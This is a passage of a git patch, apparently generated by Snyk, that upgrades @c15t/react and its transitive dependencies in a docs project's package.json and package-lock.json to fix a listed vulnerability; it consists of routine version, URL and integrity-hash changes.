5fc52293fd2fea3f87ac45a34e60fda3fc37e040 Mon Sep 17 00:00:00 2001 From: Nate Sesti <33237525+sestinj@users.noreply.github.com> Date: Fri, 13 Mar 2026 12:15:46 -0700 Subject: [PATCH 08/66] [Snyk] Security upgrade @c15t/react from 1.8.2 to 1.8.5 (#11388) fix: docs/package.json & docs/package-lock.json to reduce vulnerabilities The following vulnerabilities are fixed with an upgrade: - https://snyk.io/vuln/SNYK-JS-ORPCCLIENT-15426550 Co-authored-by: snyk-bot --- docs/package-lock.json | 699 ++++++++++++++++++++++++++++------------- docs/package.json | 2 +- 2 files changed, 479 insertions(+), 222 deletions(-) diff --git a/docs/package-lock.json b/docs/package-lock.json index 339520a50..14111770b 100644 --- a/docs/package-lock.json +++ b/docs/package-lock.json @@ -9,7 +9,7 @@ "version": "1.0.0", "license": "ISC", "dependencies": { - "@c15t/react": "^1.8.2", + "@c15t/react": "^1.8.5", "axios": "^1.13.5", "tar-fs": "^3.1.1" }, @@ -95,36 +95,36 @@ } }, "node_modules/@c15t/backend": { - "version": "1.8.0", - "resolved": "https://registry.npmjs.org/@c15t/backend/-/backend-1.8.0.tgz", - "integrity": "sha512-vM/jXQfWrI2XqN8h3Wq0IRWFBLz5o98vPUVAPu8Mdw9WblnBRwVRIEtmN6maMVM3yyai4yZA8fbXAi0e3PSM/Q==", + "version": "1.8.5", + "resolved": "https://registry.npmjs.org/@c15t/backend/-/backend-1.8.5.tgz", + "integrity": "sha512-jEMbiRB8oDTcjtJcxAtgN8km8YWwZuftpN9/bB7Iv3xbaxVXUkYY9hCPMxvQny1sUR5DKtYDVb2f7KMpSLsHQA==", "license": "GPL-3.0-only", "dependencies": { "@c15t/logger": "1.0.1", - "@c15t/translations": "1.8.0", + "@c15t/translations": "1.8.5", "@opentelemetry/api": "1.9.0", "@opentelemetry/resources": "^2.0.1", "@opentelemetry/sdk-node": "^0.203.0", "@opentelemetry/sdk-trace-base": "^2.0.1", - "@orpc/contract": "1.8.1", - "@orpc/openapi": "1.8.1", - "@orpc/otel": "^1.8.1", - "@orpc/server": "1.8.1", - "@orpc/zod": "1.8.1", + "@orpc/contract": "1.13.6", + "@orpc/openapi": "1.13.6", + "@orpc/otel": "^1.13.6", + "@orpc/server": "1.13.6", + "@orpc/zod": "1.13.6", "base-x": "^5.0.1", "defu": "^6.1.4", - "drizzle-orm": "^0.44.6", - "fumadb": "^0.1.1", + "drizzle-orm": "^0.44.7", + "fumadb": "^0.1.2", "kysely": "^0.27.6", "neverthrow": "^8.2.0", - "superjson": "^2.2.2", + "superjson": "^2.2.6", "zod": "^4.0.17" } }, "node_modules/@c15t/backend/node_modules/zod": { - "version": "4.3.5", - "resolved": "https://registry.npmjs.org/zod/-/zod-4.3.5.tgz", - "integrity": "sha512-k7Nwx6vuWx1IJ9Bjuf4Zt1PEllcwe7cls3VNzm4CQ1/hgtFUK2bRNG3rvnpPUhFjmqJKAKtjV576KnUkHocg/g==", + "version": "4.3.6", + "resolved": "https://registry.npmjs.org/zod/-/zod-4.3.6.tgz", + "integrity": "sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg==", "license": "MIT", "funding": { "url": "https://github.com/sponsors/colinhacks" @@ -142,27 +142,45 @@ } }, "node_modules/@c15t/react": { - "version": "1.8.2", - "resolved": "https://registry.npmjs.org/@c15t/react/-/react-1.8.2.tgz", - "integrity": "sha512-fyTcwrAbcehFkkTH3TB+nzo9vOPR9atdE9nQVeIdMbh1lWSdchRIjH+iVaNKtoEcA1cB3SStCXzvqja9F5GQEw==", + "version": "1.8.5", + "resolved": "https://registry.npmjs.org/@c15t/react/-/react-1.8.5.tgz", + "integrity": "sha512-0JLWp4ipdHy2KCxhP1D8wN8XXkYxxZ+XKoa4qmhiMW6VUa8JzhdwGlsTL+mAuJ96f6xzIyCBA5SIE1Dgq8LkVA==", "license": "GPL-3.0-only", "dependencies": { - "@radix-ui/react-accordion": "1.2.4", - "@radix-ui/react-slot": "1.2.0", + "@radix-ui/react-accordion": "1.2.12", + "@radix-ui/react-slot": "1.2.4", "@radix-ui/react-switch": "1.1.4", - "c15t": "1.8.2", + "c15t": "1.8.5", "clsx": "2.1.1", - "zustand": "^5.0.3" + "zustand": "^5.0.11" }, "peerDependencies": { "react": "^19.0.0 || ^19.0.0-rc || ^18.0.0 || ^17.0.0 || ^16.8.0", "react-dom": "^19.0.0 || ^19.0.0-rc || ^18.0.0 || ^17.0.0 || ^16.8.0" } }, + "node_modules/@c15t/react/node_modules/@radix-ui/react-slot": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.4.tgz", + "integrity": "sha512-Jl+bCv8HxKnlTLVrcDE8zTMJ09R9/ukw4qBs/oZClOfoQk/cOTbDn+NceXfV7j09YPVQUryJPHurafcSg6EVKA==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-compose-refs": "1.1.2" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, "node_modules/@c15t/translations": { - "version": "1.8.0", - "resolved": "https://registry.npmjs.org/@c15t/translations/-/translations-1.8.0.tgz", - "integrity": "sha512-iCw8iOc9lgXpIJaN/WzN+T3FMzFUgjN+UZ7tp6hKSV4RktXwr7C/z3HAOdeGYZE01BdmunrlOZGQB/N3hZoZZQ==", + "version": "1.8.5", + "resolved": "https://registry.npmjs.org/@c15t/translations/-/translations-1.8.5.tgz", + "integrity": "sha512-2ywVBa1uDDMcQf8gKZ7wIlCXPVNn6qU/cARzTEkXHDI+8cHjc4I0PQK4whO+Cyts3HW4dA5RwgrHonqsE37rRw==", "license": "GPL-3.0-only" }, "node_modules/@clack/core": { @@ -1864,9 +1882,9 @@ } }, "node_modules/@opentelemetry/api-logs": { - "version": "0.210.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.210.0.tgz", - "integrity": "sha512-CMtLxp+lYDriveZejpBND/2TmadrrhUfChyxzmkFtHaMDdSKfP59MAYyA0ICBvEBdm3iXwLcaj/8Ic/pnGw9Yg==", + "version": "0.213.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.213.0.tgz", + "integrity": "sha512-zRM5/Qj6G84Ej3F1yt33xBVY/3tnMxtL1fiDIxYbDWYaZ/eudVw3/PBiZ8G7JwUxXxjW8gU4g6LnOyfGKYHYgw==", "license": "Apache-2.0", "peer": true, "dependencies": { @@ -1889,9 +1907,9 @@ } }, "node_modules/@opentelemetry/core": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.4.0.tgz", - "integrity": "sha512-KtcyFHssTn5ZgDu6SXmUznS80OFs/wN7y6MyFRRcKU6TOw8hNcGxKvt8hsdaLJfhzUszNSjURetq5Qpkad14Gw==", + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.6.0.tgz", + "integrity": "sha512-HLM1v2cbZ4TgYN6KEOj+Bbj8rAKriOdkF9Ed3tG25FoprSiQl7kYc+RRT6fUZGOvx0oMi5U67GoFdT+XUn8zEg==", "license": "Apache-2.0", "dependencies": { "@opentelemetry/semantic-conventions": "^1.29.0" @@ -2537,14 +2555,14 @@ } }, "node_modules/@opentelemetry/instrumentation": { - "version": "0.210.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/instrumentation/-/instrumentation-0.210.0.tgz", - "integrity": "sha512-sLMhyHmW9katVaLUOKpfCnxSGhZq2t1ReWgwsu2cSgxmDVMB690H9TanuexanpFI94PJaokrqbp8u9KYZDUT5g==", + "version": "0.213.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/instrumentation/-/instrumentation-0.213.0.tgz", + "integrity": "sha512-3i9NdkET/KvQomeh7UaR/F4r9P25Rx6ooALlWXPIjypcEOUxksCmVu0zA70NBJWlrMW1rPr/LRidFAflLI+s/w==", "license": "Apache-2.0", "peer": true, "dependencies": { - "@opentelemetry/api-logs": "0.210.0", - "import-in-the-middle": "^2.0.0", + "@opentelemetry/api-logs": "0.213.0", + "import-in-the-middle": "^3.0.0", "require-in-the-middle": "^8.0.0" }, "engines": { @@ -2760,12 +2778,12 @@ } }, "node_modules/@opentelemetry/resources": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.4.0.tgz", - "integrity": "sha512-RWvGLj2lMDZd7M/5tjkI/2VHMpXebLgPKvBUd9LRasEWR2xAynDwEYZuLvY9P2NGG73HF07jbbgWX2C9oavcQg==", + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.6.0.tgz", + "integrity": "sha512-D4y/+OGe3JSuYUCBxtH5T9DSAWNcvCb/nQWIga8HNtXTVPQn59j0nTBAgaAXxUVBDl40mG3Tc76b46wPlZaiJQ==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/core": "2.4.0", + "@opentelemetry/core": "2.6.0", "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { @@ -3028,13 +3046,13 @@ } }, "node_modules/@opentelemetry/sdk-trace-base": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.4.0.tgz", - "integrity": "sha512-WH0xXkz/OHORDLKqaxcUZS0X+t1s7gGlumr2ebiEgNZQl2b0upK2cdoD0tatf7l8iP74woGJ/Kmxe82jdvcWRw==", + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.6.0.tgz", + "integrity": "sha512-g/OZVkqlxllgFM7qMKqbPV9c1DUPhQ7d4n3pgZFcrnrNft9eJXZM2TNHTPYREJBrtNdRytYyvwjgL5geDKl3EQ==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/core": "2.4.0", - "@opentelemetry/resources": "2.4.0", + "@opentelemetry/core": "2.6.0", + "@opentelemetry/resources": "2.6.0", "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { @@ -3110,92 +3128,94 @@ } }, "node_modules/@opentelemetry/semantic-conventions": { - "version": "1.38.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.38.0.tgz", - "integrity": "sha512-kocjix+/sSggfJhwXqClZ3i9Y/MI0fp7b+g7kCRm6psy2dsf8uApTRclwG18h8Avm7C9+fnt+O36PspJ/OzoWg==", + "version": "1.40.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.40.0.tgz", + "integrity": "sha512-cifvXDhcqMwwTlTK04GBNeIe7yyo28Mfby85QXFe1Yk8nmi36Ab/5UQwptOx84SsoGNRg+EVSjwzfSZMy6pmlw==", "license": "Apache-2.0", "engines": { "node": ">=14" } }, "node_modules/@orpc/client": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/@orpc/client/-/client-1.8.1.tgz", - "integrity": "sha512-ewofUqn46yHQxnAOFLwZspQD1k3DPTUCnkqP6aFO1alUMHgLFNb03BKd1rgwUXSWaxWltKD8Db07HNxgltdk4A==", + "version": "1.13.6", + "resolved": "https://registry.npmjs.org/@orpc/client/-/client-1.13.6.tgz", + "integrity": "sha512-M6lYM6fJUFp9GR+It/qglYTeXwspb6sGj46xXWHqHS6iDVquqju0bdYuLOfHx8CGJcUSzi0aKUcqMXiGJhBG3w==", "license": "MIT", "dependencies": { - "@orpc/shared": "1.8.1", - "@orpc/standard-server": "1.8.1", - "@orpc/standard-server-fetch": "1.8.1", - "@orpc/standard-server-peer": "1.8.1" + "@orpc/shared": "1.13.6", + "@orpc/standard-server": "1.13.6", + "@orpc/standard-server-fetch": "1.13.6", + "@orpc/standard-server-peer": "1.13.6" } }, "node_modules/@orpc/contract": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/@orpc/contract/-/contract-1.8.1.tgz", - "integrity": "sha512-zw0xgRxOyR/otX+4UeGEm0VjuMH/AeVbEuWvPNRJC8xxvQpaPJFo8Nr8eaywqSUZo1DnIS+pkwsdipa7GgFl7A==", + "version": "1.13.6", + "resolved": "https://registry.npmjs.org/@orpc/contract/-/contract-1.13.6.tgz", + "integrity": "sha512-wjnpKMsCBbUE7MxdS+9by1BIDTJ4vnfUk9he4GmxKQ8fvK/MRNHUR5jkNhsBCoLnigBrsAedHrr9AIqNgqquyQ==", "license": "MIT", "dependencies": { - "@orpc/client": "1.8.1", - "@orpc/shared": "1.8.1", - "@standard-schema/spec": "^1.0.0", + "@orpc/client": "1.13.6", + "@orpc/shared": "1.13.6", + "@standard-schema/spec": "^1.1.0", "openapi-types": "^12.1.3" } }, "node_modules/@orpc/interop": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/@orpc/interop/-/interop-1.8.1.tgz", - "integrity": "sha512-TA2AQREo3tKQheHPvVs5PY1PqDnNUFGO3c8eb6lrX53npOD6lMi6IPedzeEHaZCqb17bRZ9Skc9Fg1FZ30ckug==", + "version": "1.13.6", + "resolved": "https://registry.npmjs.org/@orpc/interop/-/interop-1.13.6.tgz", + "integrity": "sha512-m28QpydaYIAkP9lRfwX8lRCxbdsqn734F/bSiS0yuakSCv+PP10SXBUkt4w+OkvZxdxRpj0pOJFJP8F5O0nAoA==", "license": "MIT" }, "node_modules/@orpc/json-schema": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/@orpc/json-schema/-/json-schema-1.8.1.tgz", - "integrity": "sha512-i3qaaW0iKreD8tgRCqQbqn69LZT2f3f80+idLUeq7zHmHtbhoYlPEmtCfz29+casM719gWkI6QDRtMhDpfQlgw==", + "version": "1.13.6", + "resolved": "https://registry.npmjs.org/@orpc/json-schema/-/json-schema-1.13.6.tgz", + "integrity": "sha512-kvih/ZN9FzUq18zLpAaU/tngg/OOQW6lQtqX7xza+gq1th8Js3mrI/E+6H+C4Exdx4sWdMpVna2PdA2T8igplw==", "license": "MIT", "dependencies": { - "@orpc/contract": "1.8.1", - "@orpc/interop": "1.8.1", - "@orpc/openapi": "1.8.1", - "@orpc/server": "1.8.1", - "@orpc/shared": "1.8.1" + "@orpc/contract": "1.13.6", + "@orpc/interop": "1.13.6", + "@orpc/openapi": "1.13.6", + "@orpc/server": "1.13.6", + "@orpc/shared": "1.13.6", + "json-schema-typed": "^8.0.2" } }, "node_modules/@orpc/openapi": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/@orpc/openapi/-/openapi-1.8.1.tgz", - "integrity": "sha512-G1qMCjpVGxJYrU0vMdYOr2WxSiX9C6ZhvafgKN7vOGqC7O5s1D+Ph/cSUe1R9OPZZPouhw75MNjTtKYP5lOrcA==", + "version": "1.13.6", + "resolved": "https://registry.npmjs.org/@orpc/openapi/-/openapi-1.13.6.tgz", + "integrity": "sha512-biqyRD9nZL+YOZ74k0Dbw6BIoa6liTk/tsGgIt2rfjztyElFwPnHeZ0OMrgaHnUGVYUTRSKL5dQlRmfp5LTeGg==", "license": "MIT", "dependencies": { - "@orpc/client": "1.8.1", - "@orpc/contract": "1.8.1", - "@orpc/interop": "1.8.1", - "@orpc/openapi-client": "1.8.1", - "@orpc/server": "1.8.1", - "@orpc/shared": "1.8.1", - "@orpc/standard-server": "1.8.1", - "rou3": "^0.7.3" + "@orpc/client": "1.13.6", + "@orpc/contract": "1.13.6", + "@orpc/interop": "1.13.6", + "@orpc/openapi-client": "1.13.6", + "@orpc/server": "1.13.6", + "@orpc/shared": "1.13.6", + "@orpc/standard-server": "1.13.6", + "json-schema-typed": "^8.0.2", + "rou3": "^0.7.12" } }, "node_modules/@orpc/openapi-client": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/@orpc/openapi-client/-/openapi-client-1.8.1.tgz", - "integrity": "sha512-DlBdRcn0lz2lzBis+d6zfVD8tZ7hM5S0uCjL3jNLNp/3T7RMSbhz/6egBCQW1vRh+kXhBjVyGs1mYEYd7ZWEZw==", + "version": "1.13.6", + "resolved": "https://registry.npmjs.org/@orpc/openapi-client/-/openapi-client-1.13.6.tgz", + "integrity": "sha512-d1bAWpJSoK1HdVBPRmMlYCuqkR2nbdF3kztd7Xz2EsRdl5TRhNLqUJ+5CIfBZHuueicrpdBlwrOuLMmSlcGrew==", "license": "MIT", "dependencies": { - "@orpc/client": "1.8.1", - "@orpc/contract": "1.8.1", - "@orpc/shared": "1.8.1", - "@orpc/standard-server": "1.8.1" + "@orpc/client": "1.13.6", + "@orpc/contract": "1.13.6", + "@orpc/shared": "1.13.6", + "@orpc/standard-server": "1.13.6" } }, "node_modules/@orpc/otel": { - "version": "1.13.4", - "resolved": "https://registry.npmjs.org/@orpc/otel/-/otel-1.13.4.tgz", - "integrity": "sha512-riE8u3g0YKDd4R0AqQ/bGUJOdXQtNzbhTApOsqQV4c9f4ufUfVsAPfAtPHTYvQfn7N4wFQMjWqhCp13bdDwkSw==", + "version": "1.13.7", + "resolved": "https://registry.npmjs.org/@orpc/otel/-/otel-1.13.7.tgz", + "integrity": "sha512-YXkZx5Cltrj337zOUrS084a5nGnWUyyO6QgHV71yaE4sIH1k+1g33S7wBn7FGWt9WgEN5tBFh2GST6KEn0RW8g==", "license": "MIT", "dependencies": { - "@orpc/shared": "1.13.4" + "@orpc/shared": "1.13.7" }, "peerDependencies": { "@opentelemetry/api": ">=1.9.0", @@ -3203,13 +3223,13 @@ } }, "node_modules/@orpc/otel/node_modules/@orpc/shared": { - "version": "1.13.4", - "resolved": "https://registry.npmjs.org/@orpc/shared/-/shared-1.13.4.tgz", - "integrity": "sha512-TYt9rLG/BUkNQBeQ6C1tEiHS/Seb8OojHgj9GlvqyjHJhMZx5qjsIyTW6RqLPZJ4U2vgK6x4Her36+tlFCKJug==", + "version": "1.13.7", + "resolved": "https://registry.npmjs.org/@orpc/shared/-/shared-1.13.7.tgz", + "integrity": "sha512-yP0oDIC98sZHqSTmr4SUXJo4RNw9yias1GYVJTiVTXrRUEdniafkLrSkOrOHgrILP3w93sKiE69V3+/T0TNSOQ==", "license": "MIT", "dependencies": { "radash": "^12.1.1", - "type-fest": "^5.3.1" + "type-fest": "^5.4.4" }, "peerDependencies": { "@opentelemetry/api": ">=1.9.0" @@ -3221,9 +3241,9 @@ } }, "node_modules/@orpc/otel/node_modules/type-fest": { - "version": "5.4.1", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-5.4.1.tgz", - "integrity": "sha512-xygQcmneDyzsEuKZrFbRMne5HDqMs++aFzefrJTgEIKjQ3rekM+RPfFCVq2Gp1VIDqddoYeppCj4Pcb+RZW0GQ==", + "version": "5.4.4", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-5.4.4.tgz", + "integrity": "sha512-JnTrzGu+zPV3aXIUhnyWJj4z/wigMsdYajGLIYakqyOW1nPllzXEJee0QQbHj+CTIQtXGlAjuK0UY+2xTyjVAw==", "license": "(MIT OR CC0-1.0)", "dependencies": { "tagged-tag": "^1.0.0" @@ -3236,21 +3256,22 @@ } }, "node_modules/@orpc/server": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/@orpc/server/-/server-1.8.1.tgz", - "integrity": "sha512-Aei7KJSMG9daNdubREeDYKCnmSRTnZT7V1Cx0NFLYDYqx8Bdil2J2InJghsio6AZdJUWLNq/zMm6QDu3NN2E6g==", + "version": "1.13.6", + "resolved": "https://registry.npmjs.org/@orpc/server/-/server-1.13.6.tgz", + "integrity": "sha512-58NaUE8sppxxpKDyEYtkR65jOSK9ycwP9TMqkvdHEg33wR17FDHIDws9iNDAo17l4bYGWgPKZtMn6ruRpJjTKQ==", "license": "MIT", "dependencies": { - "@orpc/client": "1.8.1", - "@orpc/contract": "1.8.1", - "@orpc/interop": "1.8.1", - "@orpc/shared": "1.8.1", - "@orpc/standard-server": "1.8.1", - "@orpc/standard-server-aws-lambda": "1.8.1", - "@orpc/standard-server-fetch": "1.8.1", - "@orpc/standard-server-node": "1.8.1", - "@orpc/standard-server-peer": "1.8.1", - "cookie": "^1.0.2" + "@orpc/client": "1.13.6", + "@orpc/contract": "1.13.6", + "@orpc/interop": "1.13.6", + "@orpc/shared": "1.13.6", + "@orpc/standard-server": "1.13.6", + "@orpc/standard-server-aws-lambda": "1.13.6", + "@orpc/standard-server-fastify": "1.13.6", + "@orpc/standard-server-fetch": "1.13.6", + "@orpc/standard-server-node": "1.13.6", + "@orpc/standard-server-peer": "1.13.6", + "cookie": "^1.1.1" }, "peerDependencies": { "crossws": ">=0.3.4", @@ -3279,13 +3300,13 @@ } }, "node_modules/@orpc/shared": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/@orpc/shared/-/shared-1.8.1.tgz", - "integrity": "sha512-tlKvjSpqV54tG7tWwBjBcg/RziszZhWNp4Md2ERpLn+hnzgp8XyD0TEFLjWRm1RBAsZptqe/OlYIVEqNa3rg2g==", + "version": "1.13.6", + "resolved": "https://registry.npmjs.org/@orpc/shared/-/shared-1.13.6.tgz", + "integrity": "sha512-XqpXPgmtkg2tviDXZC13Y4a3B0D5r1yuG4Q2qPG3gM1dargxob6/aSIeKE6rs1tNXOoI+IpJaGV53EWWB+x+iA==", "license": "MIT", "dependencies": { "radash": "^12.1.1", - "type-fest": "^4.39.1" + "type-fest": "^5.4.4" }, "peerDependencies": { "@opentelemetry/api": ">=1.9.0" @@ -3296,73 +3317,107 @@ } } }, + "node_modules/@orpc/shared/node_modules/type-fest": { + "version": "5.4.4", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-5.4.4.tgz", + "integrity": "sha512-JnTrzGu+zPV3aXIUhnyWJj4z/wigMsdYajGLIYakqyOW1nPllzXEJee0QQbHj+CTIQtXGlAjuK0UY+2xTyjVAw==", + "license": "(MIT OR CC0-1.0)", + "dependencies": { + "tagged-tag": "^1.0.0" + }, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/@orpc/standard-server": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/@orpc/standard-server/-/standard-server-1.8.1.tgz", - "integrity": "sha512-SgVoxnmRAhrF0usZcz72F8FcneM4Rp+UYMhggwwnCEtjKtKXddg89J/to2bkpH/P5x8JMVI/uE2YXRG8CtU6Cg==", + "version": "1.13.6", + "resolved": "https://registry.npmjs.org/@orpc/standard-server/-/standard-server-1.13.6.tgz", + "integrity": "sha512-GNYZXCWxYLVHsxBWR+bg5F12vDCsQghqxbqoFpMnA4goe58dugNWmuxM+aSDbI0D81YxkKDULSqft5S+GWi5ww==", "license": "MIT", "dependencies": { - "@orpc/shared": "1.8.1" + "@orpc/shared": "1.13.6" } }, "node_modules/@orpc/standard-server-aws-lambda": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/@orpc/standard-server-aws-lambda/-/standard-server-aws-lambda-1.8.1.tgz", - "integrity": "sha512-5db2k1nhdySkYXMMXCxMuZIXDgo04rrZ6qqIEr1cvKnW5OHadcvxysfMa60WMA4Mzm3pypl2WJKGy36mdm6R8Q==", + "version": "1.13.6", + "resolved": "https://registry.npmjs.org/@orpc/standard-server-aws-lambda/-/standard-server-aws-lambda-1.13.6.tgz", + "integrity": "sha512-62/53mepru9yDet1AUxUsQ5NdAGbBsobX8UDHSF0qFUsS6RcYcSV7lHNS8vNozGwxzQ8zyn8x+47RItZDd4Akg==", "license": "MIT", "dependencies": { - "@orpc/shared": "1.8.1", - "@orpc/standard-server": "1.8.1", - "@orpc/standard-server-fetch": "1.8.1", - "@orpc/standard-server-node": "1.8.1" + "@orpc/shared": "1.13.6", + "@orpc/standard-server": "1.13.6", + "@orpc/standard-server-fetch": "1.13.6", + "@orpc/standard-server-node": "1.13.6" + } + }, + "node_modules/@orpc/standard-server-fastify": { + "version": "1.13.6", + "resolved": "https://registry.npmjs.org/@orpc/standard-server-fastify/-/standard-server-fastify-1.13.6.tgz", + "integrity": "sha512-1YnVbkriAJLI4SAP8NiDr1kQ3iaDwcYKPHaEk0fq0MKV64HfafL2ftnGwBKRKGp/TLeYTCvwtgwiRJ13Dw4sPw==", + "license": "MIT", + "dependencies": { + "@orpc/shared": "1.13.6", + "@orpc/standard-server": "1.13.6", + "@orpc/standard-server-node": "1.13.6" + }, + "peerDependencies": { + "fastify": ">=5.6.1" + }, + "peerDependenciesMeta": { + "fastify": { + "optional": true + } } }, "node_modules/@orpc/standard-server-fetch": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/@orpc/standard-server-fetch/-/standard-server-fetch-1.8.1.tgz", - "integrity": "sha512-HZNTuLitB6X2nVPBfpbKvHRPNL7LV4J9+mQxr+Xi/hU2I6Fr2KWjNmAxcH1Fn6cOsJ09q9RFIaikUC88CQMnlA==", + "version": "1.13.6", + "resolved": "https://registry.npmjs.org/@orpc/standard-server-fetch/-/standard-server-fetch-1.13.6.tgz", + "integrity": "sha512-O0bK4crjEOU9H4LzJ2abMjku3dvEhs8tcLXP/W5NXyH+Wm7qjBjDr6psxZ3YuaWdVbfd/P7CHtvw2rQDHJCNfQ==", "license": "MIT", "dependencies": { - "@orpc/shared": "1.8.1", - "@orpc/standard-server": "1.8.1" + "@orpc/shared": "1.13.6", + "@orpc/standard-server": "1.13.6" } }, "node_modules/@orpc/standard-server-node": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/@orpc/standard-server-node/-/standard-server-node-1.8.1.tgz", - "integrity": "sha512-+hKShhdAM2ljCbfvFjZQVhcpZjVXCgrz3ysTNKRsIR+E3aiYXffylL6RDOjLAjfvQyRy7wsPVxPjyqUHGXX4vg==", + "version": "1.13.6", + "resolved": "https://registry.npmjs.org/@orpc/standard-server-node/-/standard-server-node-1.13.6.tgz", + "integrity": "sha512-Q71ijpi7kLjn222uYKg7ZOr6yxcDoszAtVz7gHmSbNBdhB/7pF7NkJLxlL/MKbpM1YBSm4/lZyi7WDuhDLf1TA==", "license": "MIT", "dependencies": { - "@orpc/shared": "1.8.1", - "@orpc/standard-server": "1.8.1", - "@orpc/standard-server-fetch": "1.8.1" + "@orpc/shared": "1.13.6", + "@orpc/standard-server": "1.13.6", + "@orpc/standard-server-fetch": "1.13.6" } }, "node_modules/@orpc/standard-server-peer": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/@orpc/standard-server-peer/-/standard-server-peer-1.8.1.tgz", - "integrity": "sha512-QDGfi/P0HKxFQCoDUOsIaIfO1KK10qoXDmd6ZfZF9DwFKrnqE6AEpMgz/TVDqLb6mFUzMtvdjrPga8uO9QdnbQ==", + "version": "1.13.6", + "resolved": "https://registry.npmjs.org/@orpc/standard-server-peer/-/standard-server-peer-1.13.6.tgz", + "integrity": "sha512-WTqjNS6A9sxR4HVxWUb9ZoBHeQiesHeANmVBFdM/QjAaPUZYKn6WACYU6Q2eGmsCUeTQFfMssk0BG2EsgRNEYw==", "license": "MIT", "dependencies": { - "@orpc/shared": "1.8.1", - "@orpc/standard-server": "1.8.1" + "@orpc/shared": "1.13.6", + "@orpc/standard-server": "1.13.6" } }, "node_modules/@orpc/zod": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/@orpc/zod/-/zod-1.8.1.tgz", - "integrity": "sha512-2tVvLnPx5xxb2H93FYWfAGFA9N7IrVf8/Bv5aUEg11LiHaYBzDEBwyssiOXQL7/57RJ8RQbpvKYmr19hVrmj8g==", + "version": "1.13.6", + "resolved": "https://registry.npmjs.org/@orpc/zod/-/zod-1.13.6.tgz", + "integrity": "sha512-Sj3KQbtV1Zuy2QnSs3NrFBnuZfttmWnXb39gLarD3rEKaxE4Mugv2yXIZ7vnBOj5cL24V+ysgharU/Dl7Ro0yA==", "license": "MIT", "dependencies": { - "@orpc/json-schema": "1.8.1", - "@orpc/openapi": "1.8.1", - "@orpc/shared": "1.8.1", + "@orpc/json-schema": "1.13.6", + "@orpc/openapi": "1.13.6", + "@orpc/shared": "1.13.6", "escape-string-regexp": "^5.0.0", - "wildcard-match": "^5.1.3" + "wildcard-match": "^5.1.4" }, "peerDependencies": { - "@orpc/contract": "1.8.1", - "@orpc/server": "1.8.1", + "@orpc/contract": "1.13.6", + "@orpc/server": "1.13.6", "zod": ">=3.25.0" } }, @@ -3592,20 +3647,20 @@ "license": "MIT" }, "node_modules/@radix-ui/react-accordion": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/@radix-ui/react-accordion/-/react-accordion-1.2.4.tgz", - "integrity": "sha512-SGCxlSBaMvEzDROzyZjsVNzu9XY5E28B3k8jOENyrz6csOv/pG1eHyYfLJai1n9tRjwG61coXDhfpgtxKxUv5g==", + "version": "1.2.12", + "resolved": "https://registry.npmjs.org/@radix-ui/react-accordion/-/react-accordion-1.2.12.tgz", + "integrity": "sha512-T4nygeh9YE9dLRPhAHSeOZi7HBXo+0kYIPJXayZfvWOWA0+n3dESrZbjfDPUABkUNym6Hd+f2IR113To8D2GPA==", "license": "MIT", "dependencies": { - "@radix-ui/primitive": "1.1.2", - "@radix-ui/react-collapsible": "1.1.4", - "@radix-ui/react-collection": "1.1.3", + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-collapsible": "1.1.12", + "@radix-ui/react-collection": "1.1.7", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-direction": "1.1.1", "@radix-ui/react-id": "1.1.1", - "@radix-ui/react-primitive": "2.0.3", - "@radix-ui/react-use-controllable-state": "1.1.1" + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-use-controllable-state": "1.2.2" }, "peerDependencies": { "@types/react": "*", @@ -3622,19 +3677,85 @@ } } }, - 